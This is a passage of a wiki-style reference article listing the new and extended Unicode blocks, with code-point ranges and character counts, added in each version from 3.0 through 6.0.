* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''', containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''', containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''', containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''', containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''', containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''', containing 64 hexagrams, was added.
* '''Linear B Syllabary''', containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''', containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''', containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''', containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''', containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''', containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''', containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''', containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''', containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''.
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''.
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''.
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''.
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''.
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''.
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''.
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''.
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''.
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''.
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''.
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''.
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''.
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''.
* Some symbols and signs (total 11 characters) were added to '''Khmer'''.
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''.
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''.
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''.
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''.
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''.
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''.
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''.
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''.
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''.
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''.
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
